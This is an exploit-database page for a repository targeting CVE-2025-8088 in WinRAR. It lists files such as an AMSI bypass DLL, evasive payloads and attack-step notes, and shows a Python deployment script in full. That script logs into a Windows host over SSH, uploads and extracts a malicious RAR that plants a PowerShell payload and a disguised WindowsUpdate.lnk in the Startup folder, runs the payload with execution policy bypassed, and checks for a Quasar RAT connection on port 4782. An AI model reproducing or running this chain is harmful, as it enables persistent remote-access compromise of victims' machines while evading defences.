Exploit databaseDownload repository ZIP
GH-9d8bf7b89f407a0fff790750df76b5d3
lewis-ricardo/amaranth-project
Sources for CVE-2025-8088
19 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files27
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
- ↑..Parent directory
- exploit/
- payload/
- payload_evaded/
- CVE-2025-8088_尝试总结_v2.md
- CVE_RAR_尝试总结.md
- FinalChain_Embedded.ps1
- README.md
- README_Stage03.md
- README_Stage04.md
- amsi_bypass.dll
- build_embedded.py
- build_entrypoint_ps1.py
- clean_vm.py
- deploy_entrypoint.py
- deploy_stage04.py
- deploy_test.py
- extracted_PE2.dll
- extracted_ProtoBuf.dll
- rebuild_ps1.py
- test_new_ps1.py
- test_ps1_long.py
- 手动攻击步骤.md
- 技术总结.md
- 攻击流程详解.md
- 现况记录.md
- 现状记录.md
- 问题总结_问专家.md
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
Stage04_FinalChain/deploy_test.py
Python · 2,303 bytesimport paramiko, time, subprocess
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=10)
def run(cmd, t=10):
stdin,stdout,stderr = ssh.exec_command(cmd, timeout=t)
return stdout.read().decode('utf-8', errors='replace')
run('taskkill /F /IM Client-test06.exe 2>nul',5)
run('taskkill /F /FI "WINDOWTITLE eq *PowerShell*" /T 2>nul',5)
time.sleep(2)
clean_cmds = [
'del /f /q "C:\\Users\\Public\\FinalChain_Embedded.ps1" 2>nul',
'del /f /q "C:\\Users\\lewis\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.lnk" 2>nul',
'del /f /q "C:\\Users\\lewis\\Desktop\\exploit_final.rar" 2>nul',
]
for c in clean_cmds:
run(c, 5)
import os
sftp = ssh.open_sftp()
rar_path = r'D:\Desktop\网安程设\Amaranth_Project\Stage04_FinalChain\exploit\exploit_final.rar'
print(f"Uploading {os.path.getsize(rar_path):,} bytes...")
sftp.put(rar_path, 'C:/Users/lewis/Desktop/exploit_final.rar')
sftp.close()
print("Uploaded.")
r = run('"C:\\Program Files\\WinRAR\\rar.exe" x -o+ "C:\\Users\\lewis\\Desktop\\exploit_final.rar" "C:\\Users\\lewis\\Desktop\\"', 120)
print("Extract:", r[:500])
time.sleep(3)
r = run('if exist "C:\\Users\\Public\\FinalChain_Embedded.ps1" (echo YES) else (echo NO)', 10)
print("PS1:", r.strip())
r = run('if exist "C:\\Users\\lewis\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsUpdate.lnk" (echo YES) else (echo NO)', 10)
print("LNK:", r.strip())
print("\nRunning PS1...")
chan = ssh.get_transport().open_session()
chan.settimeout(60)
chan.exec_command('powershell -ExecutionPolicy Bypass -NoProfile -File "C:\\Users\\Public\\FinalChain_Embedded.ps1" 2>&1')
output = b""
try:
while True:
data = chan.recv(4096)
if not data:
break
output += data
print(data.decode('utf-8', errors='replace'), end='', flush=True)
except:
pass
print()
time.sleep(2)
r = run('netstat -an | findstr 4782', 10)
print("Netstat:", r.strip()[:300])
r = subprocess.run(['powershell', '-Command', '(Get-Process -Name Quasar -ErrorAction SilentlyContinue).MainWindowTitle'], capture_output=True, text=True, timeout=10)
print("Quasar:", r.stdout.strip())
ssh.close()